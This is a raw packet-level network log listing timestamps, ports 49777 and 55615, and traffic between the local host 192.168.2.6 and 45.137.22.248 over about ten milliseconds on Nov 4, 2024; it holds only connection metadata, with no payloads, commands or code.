Nov 4, 2024 04:32:14.153795004 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.153810978 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153847933 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.153871059 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153881073 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153901100 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153911114 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153919935 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153935909 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153945923 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153971910 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.153989077 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153990030 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.154000998 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154037952 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154078960 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154088974 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154098988 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154128075 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.154148102 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154186010 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.154187918 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154213905 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154227972 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154256105 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154266119 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154298067 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.154301882 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154311895 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154340982 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154351950 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154392004 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154402018 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154413939 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.154439926 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154449940 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154472113 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.154483080 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154495001 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154511929 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.154532909 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154544115 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154555082 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.154588938 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154598951 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154608965 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154612064 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.154627085 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.154673100 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.154720068 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154767036 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154800892 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154819012 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.154830933 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.154840946 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154850960 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154860973 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154875994 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.154897928 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.154918909 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154936075 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.154947996 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.154966116 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.155003071 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.155023098 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.155050039 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.155107975 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.155116081 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.155134916 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.155180931 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.155219078 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.155247927 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.155258894 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.155306101 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.155328035 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.155378103 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.155415058 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.155463934 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.155483961 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.155497074 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.155556917 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.155612946 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.155656099 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.155672073 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.155699015 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.155699015 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.155730009 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.155734062 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.155761957 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.155774117 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.155787945 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.155899048 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.155910969 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.155946016 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.156002045 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.156044006 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.156044006 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.156069040 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.156099081 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.156382084 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.156446934 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.156507969 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.156527996 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.156542063 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.156570911 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.156639099 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.156686068 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.156723022 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.156783104 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.156814098 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.156831980 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.156897068 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.156915903 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.156925917 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.157011032 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.157037973 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.157119036 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.157150984 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.157201052 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.157203913 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.157249928 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.157291889 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.157322884 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.157346964 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.157413960 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.157489061 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.157505989 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.157563925 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.157573938 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.157619953 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.157675028 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.157685995 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.157701015 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.157737970 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.157778978 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.157793999 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.157826900 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.157861948 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.157869101 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.157893896 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.158008099 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.158077002 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.158090115 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.158116102 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.158145905 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.158168077 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.158195972 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.158232927 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.158257961 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.158269882 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.158324003 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.158333063 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.158371925 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.158380032 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.158380985 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.158443928 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.158461094 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.158477068 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.158526897 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.158544064 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.158561945 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.158628941 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.158638954 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.158723116 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.158734083 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.158750057 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.158827066 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.158890963 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.158986092 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.158996105 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.159029961 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.159056902 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.159100056 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.159118891 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.159219980 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.159229994 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.159260035 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.159383059 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.159487963 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.159498930 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.159539938 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.159576893 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.159607887 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.159620047 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.159728050 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.159806013 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.159876108 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.159884930 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.159956932 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160012007 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160021067 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160054922 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160099983 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160110950 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160238981 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160248995 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160339117 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160347939 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160384893 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160394907 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160484076 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160495043 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160522938 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160573006 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160615921 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160626888 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160664082 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160675049 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160682917 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160752058 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160762072 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160772085 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160780907 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160799026 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160927057 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160937071 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160945892 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160957098 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160965919 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160974979 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.160984039 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161066055 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161076069 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161083937 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161093950 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161102057 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161112070 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161122084 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161133051 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161140919 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161150932 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161159992 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161169052 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161178112 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161185980 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161195993 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161281109 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161292076 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161299944 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161309004 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161457062 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161467075 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161474943 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161494017 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161504030 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161514997 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161583900 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161592960 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161611080 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161648989 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161704063 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161715031 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161751986 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161761999 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161809921 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161844015 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161917925 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161927938 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161946058 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161988020 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.161998034 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.162020922 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.162075996 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.162092924 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.162121058 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.162161112 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.162221909 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.162231922 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.162241936 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.162292957 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.162338972 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.162389994 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.162399054 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.162439108 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.162489891 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.162502050 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.162602901 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.162632942 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.162705898 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.162714958 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.162775040 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.162851095 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.162861109 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.162969112 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.162977934 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.162988901 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163012028 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163022041 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163031101 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163124084 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163134098 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163141966 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163151979 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163213968 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163223982 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163233042 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163243055 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163252115 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163297892 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163307905 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163331032 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163362980 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163373947 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163383007 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163393021 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163410902 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163444042 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163482904 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163500071 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163610935 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163620949 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163665056 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163703918 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163747072 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163755894 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163821936 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.163831949 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164032936 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164043903 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164052963 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164062977 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164072037 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164082050 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164089918 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164099932 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164108038 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164118052 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164160967 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164170980 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164180040 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164189100 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164197922 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164206982 CET	55615	49777	45.137.22.248	192.168.2.6
